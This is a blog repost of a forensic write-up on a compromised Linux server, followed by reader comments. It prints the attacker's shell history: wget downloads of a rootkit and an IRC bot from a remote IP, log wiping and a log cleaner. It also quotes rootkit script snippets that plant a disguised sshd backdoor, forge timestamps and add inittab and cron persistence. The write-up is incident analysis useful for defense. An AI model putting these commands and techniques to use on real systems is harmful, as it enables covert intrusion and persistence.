Learn Linux Hacking and How To Counter Them.

Posted: August 25, 2007 in hacking, Internet, Linux, Open Source, OpenSource, Programming, servers, Tech

Ok this article doesn’t really tell people exactly how to hack ( i think thats illegel and would most likely get me kicked out of Word press.) Anyways i found this great artice from a blog that explained (very in -dept), how he found a hacker inside his friends Linux server and how he traced it to the hackers residence. All the credit goes to that Arthur. I just thought e aught to be more well know for his hard work.

####################################################################################

Holliday cracking

SecurityA friend of mine asked me to have a look at his Linux-server. “It behaves strangely” he said, most notably the web-server apache refused to start. It turned out to be more than just a problem with apache.
I already had an account, so I started to poke around. The first thing I noticed was some strange ls behavior:

lars@server1:~$ ls
ls: invalid option -- h
Try `ls --help' for more information.

That’s odd.. Why don’t “ls” take “-h” all of a sudden?? I had aliased “ls, so I unaliased it and it worked fine:

lars@server1:~$ alias ls
alias ls='ls -sh --color=auto'
lars@server1:~$ unalias ls
lars@server1:~$ ls
backup
lars@server1:~$

Strange. I’ll have too look into that later, but first get apache up and running:

lars@server1:~$ sudo /etc/init.d/apache2 start
Password:
* Starting apache 2.0 web server...
(2): apache2: could not open error log file /var/log/apache2/error.log.
Unable to open logs
...fail!

Ookay..? A quick peek into “/var/log/” revealed that “apache2/” was missing, but so was all other directories usually found under there as “mysql/”, “exim4/”, “samba/” and so on. Something was wrong alright. Did my friend accidentally delete everything by mistake?? He claimed not to. I logged in as root to fix the missing directories:

lars@server1:~$ sudo su -
Password:
root@server1:~# ls
ls: unrecognized prefix: do
ls: unparsable value for LS_COLORS environment variable
total 44
4 . 4 .bashrc 4 .ssh
4 .. 4 .lesshst 8 .viminfo
8 .bash_history 4 .profile 4 .vimrc

Even more “ls” trouble? Again, “ls” is aliased:

root@server1:~# alias ls
alias ls='ls -sa --color=auto'
root@server1:~# unalias ls
root@server1:~# ls
root@server1:~#

By now, I really suspected that something was very very wrong. Misbehaving “ls” and missing a bunch of stuff under “/var/log/”. My suspicion was confirmed when I examined root’s “.bash_history”:

root@server1:~# cat -n .bash_history
...
340 w
341 cd /var
342 wget http://83.19.148.250/~matys/pliki/shv5.tar.gz
343 tar -zxf shv5.tar.gz
344 rm -rf shv5.tar.gz
345 mv shv5 .x
346 cd .x
347 ./setup zibi.joe.149 54098
348 passwd
349 passwd
350 ps aux
351 crontab -l
352 cat /etc/issue
353 cat /etc/passwd
354 w
355 who
356 cd /usr/lib/libsh
357 ls
358 hide +
359 chmod +x hide
360 hide +
361 ./hide +
362 cd /var/.x
363 mkdir psotnic
364 cd psotnic
365 wget http://83.19.148.250/~matys/pliki/psotnic0.2.5.tar.gz
366 tar -zxf psotnic0.2.5.tar.gz
367 rm -rf psotnic0.2.5.tar.gz
368 ls
369 mv psotnic-0.2.5-linux-static-ipv6 synscan
370 ./synscan
371 vi conf
372 vi conf1
373 mv synscan smbd
374 smbd -c conf
375 ls
376 ps aux
377 ls
378 ./smbd -c conf
379 ./smbd -c conf1
380 ./smbd conf
381 ./smbd conf1
382 ./smbd -a conf conf1
383 rm -rf conf.dec
384 rm -rf conf1.dec
385 cd /usr/lib/libsh
386 ./hide +
387 exit
...
425 ssh ftp@62.101.251.166
426 w
427 ls
428 ls
429 cd /var/.x
430 ls
431 cd psotnic/
432 ls
433 rm -rf /var/log/*
434 exit
435 ls
436 cd /var/.x/psotnic/
437 ls
438 vi conf2
439 ./smbd -c conf2
440 ./smbd conf2
441 ./smbd -a conf conf1 conf2
442 rm -rf conf2.dec
443 cd ..
444 ls
445 cd /usr/lib/libsh
446 hide +
447 ./hide +
448 exit
449 ps aux
450 cd /var/.x
451 ls
452 ls
453 cd psotnic/
454 ls
455 cat pid.MastaH
456 kill -9 2030
457 ./synscan -a conf conf1
458 ./smbd -a conf conf1
459 cd /usr/lib/libsh
460 ./hide +
...

Woha! The box had been cracked alright! I found this quite exciting, but obviously, my friend did not. The attacker did one elementary error by not wiping out “.bash_history” – so this is probably not the only error he/she has done. Let’s start dissecting this little crack.

First. What is hiding under “/var/.x/” and what does the command “setup zibi.joe.149 54098” do?

root@server1:/var/.x# file setup
setup: Bourne-Again shell script text executable
root@server1:/var/.x# wc -l setup
825 setup
root@server1:/var/.x# head -17 setup
#!/bin/bash
#
# shv5-internal-release
# by: PinT[x] April/2003
#
# greetz to:
#
# [*] SH-members: BeSo_M, grass^, toolman, nobody, niceboy, armando99
# C00L|0, GolDenLord, Spike, zion ...
# [*] Alba-Hack : 2Cool, heka, TheMind, ex-THG members ...
# [*] SH-friends: mave, AlexTG, Cat|x, klex, JinkS ...
# [*] tC-members: eksol, termid, hex, keyhook, maher, tripod etc..
# [*] And all others who diserve to be here but i forgot
# [*] them at the moment !
#
# PRIVATE ! DO NOT DISTRIBUTE *censored*EZ !

Now, this little shell script does all kinds of nasty stuff, like installing a modified ssh backdoor disguised as “/bin/ttyload” which is then added to “/etc/inittab” for automatic startup at boot:

mv $SSHDIR/sshd /sbin/ttyload
chmod a+xr /sbin/ttyload
chmod o-w /sbin/ttyload
touch -acmr /bin/ls /sbin/ttyload
chattr +isa /sbin/ttyload
kill -9 `pidof ttyload` >/dev/null 2>&1
....
# INITTAB SHUFFLING
chattr -isa /etc/inittab
cat /etc/inittab |grep -v ttyload|grep -v getty > /tmp/.init1
cat /etc/inittab |grep getty > /tmp/.init2
echo "# Loading standard ttys" >> /tmp/.init1
echo "0:2345:once:/usr/sbin/ttyload" >> /tmp/.init1

It also backdoor a bunch of standard linux commands:

# Backdoor ps/top/du/ls/netstat/etc..
cd $BASEDIR/bin
BACKUP=/usr/lib/libsh/.backup
mkdir $BACKUP
...
# ls ...
chattr -isa /bin/ls
cp /bin/ls $BACKUP
mv -f ls /bin/ls
chattr +isa /bin/ls

This explains why “ls” misbehavied!

root@server1:/var/.x# ls -l /usr/lib/libsh/.backup/
total 552
-rwxr-xr-x 1 root root 126276 Dec 24 22:58 find
-rwxr-xr-x 1 root root 59012 Dec 24 22:58 ifconfig
-rwxr-xr-x 1 root root 77832 Dec 24 22:58 ls
-rwxr-xr-x 1 root root 30388 Dec 24 22:58 md5sum
-rwxr-xr-x 1 root root 99456 Dec 24 22:58 netstat
-rwxr-xr-x 1 root root 65492 Dec 24 22:58 ps
-rwxr-xr-x 1 root root 14016 Dec 24 22:58 pstree
-rwxr-xr-x 1 root root 50180 Dec 24 22:58 top

Oh – and look at the timestamp. This was done at christmas!

Clearly the original “ls” and the newly installed “ls” are different, as md5 fingerprint and file shows:

root@server1:~# md5sum /usr/lib/libsh/.backup/ls /bin/ls
eef7ca9dd6be1cc53bac84012f8d1675 /usr/lib/libsh/.backup/ls
0a07cf554c1a74ad974416f60916b78d /bin/ls

root@server1:~# file /bin/ls
/bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked (uses shared libs), for GNU/Linux 2.0.0, stripped

root@server1:~# file /usr/lib/libsh/.backup/ls
/usr/lib/libsh/.backup/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.0, dynamically linked (uses shared libs), for GNU/Linux 2.6.0, stripped
The backdoor toolkit (“sh5.tar.gz”) was downloaded from:

root@server1:~# dig +short -x 83.19.148.250
4lo.bydg.pl.

I can’t make much out of the site, since it’s in polish. The attacker probably don’t have any connection to this site – I don’t think he is that foolish, but then again – he has done several severe mistakes.

The output of the “setup” command, as run by the attacker, can be seen in the screen shot (I was running this on sandboxed server at home):

Okay, so “zibi.joe.149” is the password and “54098” is the port number. It’s running and (old) sshd from ssh.com, as seen from the screen shot:

Nice colors.

The backdoor is installed. The next step is to install an irc-bot and make it an zombie. That is what “psotnic0.2.5.tar.gz” contains. The attacker extract and rename the irc-bot to “smbd”, which happens to be the same as Samba’s daemons (“smbd” and “nbmd”).

Next he creates two configuration files, which contains which irc-server to connect to, and which channel to join etc. The config files are then encrypted, and the clear-text ones are deleted:

371 vi conf
372 vi conf1
....
378 ./smbd -c conf
379 ./smbd -c conf1
380 ./smbd conf
381 ./smbd conf1
382 ./smbd -a conf conf1

Let’s execute command 382 to see what it does:

root@server1:/var/.x/psotnic# ./smbd -a conf conf1

Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)
Copyright (C) 2003-2005 Grzegorz Rusin

[+] Adding: */10 * * * * cd /var/.x/psotnic; ./smbd conf >/dev/null 2>&1
[+] Adding: */10 * * * * cd /var/.x/psotnic; ./smbd conf1 >/dev/null 2>&1
[+] Added 2 psotnics to cron
Aha! So it gets added to cron:

root@server1:/var/.x/psotnic# crontab -l
*/10 * * * * cd /var/.x/psotnic; ./smbd conf >/dev/null 2>&1
*/10 * * * * cd /var/.x/psotnic; ./smbd conf1 >/dev/null 2>&1

At this time I killed off the two hostile smbd-processes and disabled the cron-job. I fired up a tcpdump in another shell and started the two processes manually:

root@server1:~# cd /var/.x/psotnic; ./smbd conf

Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)
Copyright (C) 2003-2005 Grzegorz Rusin

[*] Acting as LEAF
[+] Config loaded
[+] Going into background [pid: 5724]
root@server1:/var/.x/psotnic# ./smbd conf1

Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)
Copyright (C) 2003-2005 Grzegorz Rusin

[*] Acting as LEAF
[+] Config loaded
[+] Going into background [pid: 5727]
root@server1:/var/.x/psotnic#
These two processes show up using (our backdoored) “ps”, so I guess that why the attacker renamed it to “smbd”:

root@server1:/var/.x/psotnic# ps axuw | grep smb
root 3799 0.0 0.4 8592 2156 ? S 11:00 0:00 /usr/sbin/smbd -D
root 3808 0.0 0.1 8592 896 ? S 11:00 0:00 /usr/sbin/smbd -D
root 5724 0.0 0.1 1648 772 pts/2 S 12:47 0:00 ./smbd conf
root 5727 0.0 0.1 1640 764 pts/2 S 12:47 0:00 ./smbd conf1

The first two are the real samba, the next two are the irc-bot. Let’s strace it to see what it does:

root@server1:~# strace -p 5727
...
connect(3, {sa_family=AF_INET, sin_port=htons(9714), sin_addr=inet_addr("83.18.74.235")}, 16) = -1 EINPROGRESS (Operation now in progress)
...
connect(4, {sa_family=AF_INET, sin_port=htons(6667), sin_addr=inet_addr("195.159.0.92")}, 16) = -1 EINPROGRESS (Operation now in progress)

So it tries to connect to IP-address 83.18.74.235 on port 9714 and 195.159.0.92 on port 6667 (this port is used for irc-servers):

root@server1:~# dig +short -x 83.18.74.235
manhattan.na.pl.
root@server1:~# dig +short -x 195.159.0.92
ircnet.irc.powertech.no.

Another polish host. The other IP-adress, “ircnet.irc.powertech.no” is a CNAME for “irc.powertech.no”, a well known irc-server here in Norway.

Using the tcpdump, I identified one network-stream to irc-server irc.powertech.no. As these snippets show, they show the smbd connecting to “irc.powertech.no”, and joining channel “#aik”:

:irc.powertech.no 001 578PAB9NB :Welcome to the Internet Relay Network 578PAB9NB!~op@ti231210a080-3666.bb.online.no
:irc.powertech.no 002 578PAB9NB :Your host is irc.powertech.no, running version 2.11.1p1

:578PAB9NB!~op@ti231210a080-3666.bb.online.no JOIN :#aik
:irc.powertech.no 353 578PAB9NB @ #aik :578PAB9NB kknd raider brandyz jpi conf xerkoz IpaL vvo
:irc.powertech.no 366 578PAB9NB #aik :End of NAMES list.
:irc.powertech.no 352 578PAB9NB #aik ~op ti231210a080-3666.bb.online.no irc.powertech.no 578PAB9NB G :0 op – GTW
:irc.powertech.no 352 578PAB9NB #aik ~kknd ti231210a080-3666.bb.online.no irc.hitos.no kknd H :2 kknd – GTW
:irc.powertech.no 352 578PAB9NB #aik ~raider mobitech-70.max-bc.spb.ru *.dotsrc.org raider G :4 raider – GTW
:irc.powertech.no 352 578PAB9NB #aik ~brandyz mobitech-70.max-bc.spb.ru *.dotsrc.org brandyz G :4 brandyz – GTW
:irc.powertech.no 352 578PAB9NB #aik ~jpi p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp jpi G :8 jpi – GTW
:irc.powertech.no 352 578PAB9NB #aik ~conf p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp conf G :7 conf – GTW
:irc.powertech.no 352 578PAB9NB #aik ~xerkoz p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp xerkoz H :7 xerkoz – GTW
:irc.powertech.no 352 578PAB9NB #aik lm campus19.panorama.sth.ac.at *.at IpaL H :5 .LaPi.9@.IRCNet..
:irc.powertech.no 352 578PAB9NB #aik ~vvo ppp86-7.intelcom.sm *.tiscali.it vvo H :6 vvo – GTW
:irc.powertech.no 315 578PAB9NB #aik :End of WHO list.
This is just the raw network traffic of the irc-session joining channel #aik and listing all other members on that channel. I decided to join that channel myself (notice the nice underground nick: “viper42”). I was surprised not to be asked for any channel password. I guess our attacker made another bummer:

17:43 -!- viper42 [~viper42@trinity.gnist.org] has joined #aik
17:43 [Users #aik]
17:43 [ 578PAB9NL] [ conf] [ jpi ] [ raider ] [ vvo ]
17:43 [ brandyz ] [ IpaL] [ kknd] [ viper42] [ xerkoz]
17:43 -!- Irssi: #aik: Total of 10 nicks [0 ops, 0 halfops, 0 voices, 10 normal]
17:43 -!- Irssi: Join to #aik was synced in 1 secs

I found my friends server with the nick “578PAB9NB” and some other machines. These zombies are probably just waiting for the attacker to join the channel and give orders. Or perhaps the attacker already are lurking there. All have “* – GTW” at the end of their nick, except one:

17:45 [powertech] -!- IpaL [lm@campus19.panorama.sth.ac.at]
17:45 [powertech] -!- ircname : LaPi@IRCNet
17:45 [powertech] -!- channels : #relaks #ping @#seks #aik @#ogame.pl
#pingwinaria #hattrick #trade #admin @#!sh
17:45 [powertech] -!- server : *.at [\o\ \o/ /o/]

This is the only nick that also have joined more than one channels. Guess I’ve found my attacker, unless this is a decoy. (Again: The attacker can’t be this stupid?!?) I guess I’ll just hang around for a few days just to see if anything interesting comes up. The hostname resolves to:

$ dig +short campus19.panorama.sth.ac.at
193.170.51.84

And according to RIPE this IP-address belongs to Vienna University Computer Center. I asked them ( cert at aco net ) to take a closer look at the hostname in question and got an answer just hours later:

From: Alexander Talos via RT
To: larstra@ifi.uio.no
Subject: Cracker at campus19.panorama.sth.ac.at (193.170.51.84) [ACOnet CERT #38603]
Date: Fri, 18 May 2007 18:22:43 +0200 (CEST)
Reply-To: cert@aco.net

—–BEGIN PGP SIGNED MESSAGE—–
Hash: SHA1

Hej!

On Fri May 18 14:45:03 2007, larstra@ifi.uio.no wrote:

> I have been tracking down cracker which connected from
> campus19.panorama.sth.ac.at (193.170.51.84). The user, which

Ouch. panorama.sth.ac.at is a dormitory with about 4k rooms all
behind a NAT gateway – it will be very hard to get hold of the
miscreant.

This incident will, in the long run, definitely help me getting
rid of the NAT boxes in setups like that, but right now, we will
have to make do with what we have.

> Please investigate the host in question. Perhaps is this a
> compromised host on your network acting as a jumpstation for

Sure, and even in a NATed environment, this is still possible.

Btw, you did a great job in analysing the compromised machine!

I’ll let you know when I have either further questions or any
interesting results.

Cheers,

Alexander Talos

– —
IT-Security, Universitaet Wien, ACOnet CERT
<URL:http://www.univie.ac.at/ZID/security/&gt;
T: +43-1-4277-14351 M: +43-664-60277-14351

No luck there I’m afraid..

Oh, – and I tried to log in using ssh (on port 54098) on all zombies listed here, but no ports where open. The other zombies are probably using other ports for the ssh backdoor.

The other identified network stream, destined to “83.18.74.235” was garbled, so it’s time to fire up up strace again:

root@server1:/var/.x/psotnic# strace -f ./smbd conf1 &> /root/dump.strace

As expected, this creates a lot of output. Among other things, it tries to start the irc-client BitchX:

[pid 7537] execve("/bin/sh", ["sh", "-c", "BitchX -v 2> /dev/null"]

Which failes, since BitchX is not installed:

[pid 7537] write(2, "sh: ", 4) = 4
[pid 7537] write(2, "BitchX: not found", 17) = 17
[pid 7537] write(2, "n", 1) = 1
[pid 7537] close(2) = 0

You can see some of the traffic from tcpdump in the picture below:

This was just for one of the two smbd-processes. The other connected to the same polish site, and instead of “irc.powertech.no”, it connected to “irc.hitos.no”, an IRC-server located in Tromsø. The same zombies are at that channel as well – guess I’ll stick around there for a few days as well.

Also, what the cracker did, was to run a program called “hide” to clean entries from various log-files:

server1:/usr/lib/libsh# ./hide +
Linux Hider v2.0 by mave
enhanced by me!
[+] [Shkupi Logcleaner] Removing + from the logs........ .

[+] /var/log/messages … [done]

[+] /var/run/utmp … [done]

[+] /var/log/lastlog … [done]

[+] /var/log/wtmp … [done]

* m i s s i o n a c c o m p l i s h e d *

p.h.e.e.r S.H.c.r.e.w

server1:/usr/lib/libsh#
So why did the attacker then wipe out “/var/log/*”? Did he not trust this tool? Did he panicked?

So the box has been compromised, backdoor installed and it’s been converted to a zombie. The attacker made several mistakes allowing him to be detected:

  • Forgot to wipe out root’s .bash_history.
  • Wiped out everything under “/var/log/*”, including directories which several programs relied on and thereby refusing to start. Now, why did he do that? This certainly was stupid.
  • Changed the root-password. Another bummer. Never ever change the root-password. This surely will catch the attention of a sysadmin.
  • Did not password-protect the IRC-channel where all his zombies resides. Not that it doesn’t matter much for us, since we would have sniffed that up as soon as the zombie tried to join the channel.
  • Do the attacker still hang around the same channel as all his zombies does (the LaPi-guy)? If so he’s just begging to be exposed.

Severeal questions remains:

  1. Why was the command “ssh ftp@62.101.251.166” entered? Did the attacker made a mistake in typing this command or did it serve some other purpose? The IP addres resolves to: $ dig +short -x 62.101.251.166
    cA6FB653E.dhcp.bluecom.no.
  2. What kind of traffic goes to 83.18.74.235 (manhattan.na.pl) ?
  3. And the most important question is, how did he get access in the first time? The server was running Ubuntu 6.06 LTS (i386) and was fairly updated. The compromised could be caused by:
    • An exploit unknown to the public.
    • A user accessing this server from an already compromised host. The attacker could then sniff the the password.
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Comments
  1. Ian Bezanson says:

    This was a great walkthrough on how hackers get hold of your system. I recently had two of the servers that I manage get hacked, within 5 days of one another. I believe that they used server #1 to compromise server #2.

    I had found a few of the items that you’d noted on my server, with a bit of digging, but my hacker cleared the bash_history, so it was nice to get a look at a few of the other things they may have done, as well as how they’d run their tools.

    I’ll need to dig a bit further on those machines once I’m at the terminal (as I killed ssh for the time being).

    I have a similar concern that there may exist an unknown exploit to the public, so I’ll need to rethink my implementation of ssh going forward.

    Thanks Again!

  2. Walid Aweiwi says:

    I faced the same hack, to remove it do the following:

    1-remove the line below from /etc/inittab
    0:2345:once:/usr/sbin/ttyload

    2-chattr -AacDdijsSu /usr/lib/libsh/

    3- remove or move /usr/lib/libsh/ to some where else

    4- restore a copy for /bin contents, the hacker changed the rm, grep, ls etc

    5- ps -ef|grep ttyload and kill all existing processes
    root 14863 1 0 00:37 ? 00:00:00 /sbin/ttyload -q
    root 15750 1 0 01:04 ? 00:00:00 /sbin/ttyload -q

    kill 14863 and 15750

    6- reinstall openssh-server , the hacker removed sshd early.

    7-restart sshd service

    8-install iptable firewall and start it

  3. don says:

    The government’s view of the economy could be summed up in a few short phrases: If it moves, tax it. If it keeps moving, regulate it. And if it stops moving, subsidize it.

  4. Jay-A says:

    My box was rootkit’ed too. I was hit by Adore, SunOS, cb, Flea Linux, iLLogic SHV4 and SHV5. too bad for me because the intruder remove everythng in .bash_history (maybe he was able to read this blog =)) lol). I started working on the problem while scratching my head. The only thing that left up is to rely on rkhunter to detect all rootkits and files that should not be in my box.

    ls,ps,top,lsof,netstat,login,inittab and others are not working as expected.

    So already investigating this files and what they do in the system:
    ttymon, ttyload, /lib/security/.config/ssh, libext-2.so.7, /usr/include/file.h, host.h, log.h, proc.h

    Good thing that it was only a test server that we
    to put in DMZ zone.

  5. John Doe says:

    For those having problems under linux works for mac too

    This will solve all problems:

    1) Delete the whole OS

    2) Buy windows and install

    3) Install all the updates

    4) Install Anti Virus, Firewall and install the latest drivers

    5) DONT DOWNLOAD ANY WARES or Crap like that

    6) Be happy your OS is secure

    Windows can be as secure as linux and i just proved it!
    Its just idiots downloading programs there not supposed too
    that’s why they get virus/ trojans or get hacked

    Computer don’t get viruses by themselves nor do they get hacked without running any malicious programs

    if you think im wrong read it again

    • penetrator says:

      @John Doe
      You are such a an idiot noob…
      Firstly the article was about a SERVER. Who idiot would install windows for common server tasks like websites, mailing lists etc?
      Secondly, no windows is not as safe as linux because of the OS architecture (client-server model, process execution model etc… (you should have an idea about informatics If I was to explain you…)
      Finally all you arrogant MS idiots who don’t have any idea about what you are talking about … just stop talking about that….

  6. […] 开始以为有谁动了我的bash配置文件,检查之后没发现问题。后来google了一下这条出错信息,找到这两个页面:Link1, Link2。考虑到那个悲催&弱智的root密码,看来服务器是被hack了==# […]

  7. ylylet It’s a nice post. ylylet

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    switching to another platform. I have heard good things about
    blogengine.net. Is there a way I can import all my wordpress content into
    it? Any help would be really appreciated!

  9. dortsering says:

    Wow I enjoyed reading that. Thanx . And learn alot.

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